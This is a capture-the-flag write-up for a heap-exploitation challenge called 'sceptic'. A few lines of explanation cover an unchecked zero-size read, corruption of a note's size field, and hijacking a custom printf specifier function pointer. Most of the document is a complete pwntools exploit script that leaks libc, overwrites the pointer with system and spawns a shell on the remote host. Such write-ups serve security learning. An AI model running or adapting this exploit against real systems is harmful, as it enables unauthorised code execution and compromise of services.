Rating:

When you give it a size, it proceeds to call `read(0, buf, len-1)` without checking for 0, so does `read(...,-1)` and gives us an easy heap smash :D

We target another note struct on the heap, and overwrite its size field to `0xffffffffffffffff` so we can edit anywhere. From there we get the necessary leaks.

The custom format specifier has some sort of structure for it allocated on the heap, which stores the two function pointers for the `printf_arginfo_size_function` and `printf_function`, so we can overwrite one of those to get control. Specifically, the arginfo function is called with a `printf_info` structure argument, and the first field in that structure is the precision (`.17`). so we can have this be "sh\0" with `.26739`.

Based on the challenge author's writeup, I don't think this was the intended solution :P

```python
from pwn import *
import sys

context.update(arch='amd64')
libc = ELF("./libc.so.6",False)

if 'rem' in sys.argv:
r = remote("flatearth.fluxfingers.net", 1748)
else:
r = process("./sceptic", env={"LD_PRELOAD":"./libc.so.6"})

def xor(a, b):
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

menu = "> "
def add(data, sz=None, subj=None):
if sz == None:
sz = len(data)+1
r.sendafter(menu, "1\n")
r.sendafter(menu, str(sz)+'\n')
if subj:
r.sendafter(menu, "y")
r.sendafter(menu, subj)
else:
r.sendafter(menu, "n")
r.sendafter(menu, data)
def view(idx, fmt=''):
r.sendafter(menu, "3\n")
r.sendafter(menu, str(idx)+'\n')
r.sendafter(menu, fmt.ljust(0xf,'\0'))
def edit(idx, data, start_idx=0, sz=-1):
if sz == -1:
sz = len(data)
r.sendafter(menu, "2\n")
r.sendafter(menu, str(idx)+'\n')
r.sendafter(menu, str(start_idx)+'\n')
r.sendafter(menu, str(sz)+'\n')
r.sendafter(menu, data)

add("A"*0x28, 0x200)
view(0,"#.64") #malloc fastbin 0x30
add("B"*0x20) #victim note after fastbin 0x30

pl = fit({
0x10:0xffffffffffffffff, #heap metadata, whatever, set to non-null for %s leak
0x28:0xffffffffffffffff #set size, edit anywhere
}, filler="C")
add(pl, 0) #gives fastbin 0x30, then trash victim note

edit(1, "\0"*0x10, -0x48) #encrypt some 0s in subject field (printed without xoring)
view(2) #leak rands
r.recvuntil("Subject: ")
rands = r.recvn(7)+"\0"
print "RANDS: "+rands.encode('hex')

view(0, "#.64")
edit(0, "A"*0x48)
view(0, "#.64")
edit(0, "A"*0x68)
view(0, "#.64")
edit(0, "A"*0x88)
view(0, "#.64")
edit(0, "A"*0x100)
view(0, "#.64") #consolidate, libc pointers in free chunk

edit(1, xor("A"*0x10+p64(0xffffffffffffffff), rands), 0x20) #remove nulls for libc leak
view(2) #leak libc bin pointers
r.recvuntil("A"*0x10+p64(0xffffffffffffffff))
libc.address = u64(r.recvline().strip().ljust(8,'\0'))-0x3c4b78
print "LIBC: "+hex(libc.address)

edit(1, xor(p64(libc.symbols['system']), rands), -0x1078) #custom specifier function pointer on heap
view(2, ".%d"%(u16("sh"))) #first field in printf_info is precision :D

#FLAG{t4v1s_4ssum3d_1t_in_2k14}
r.interactive()

```

Author: pernicious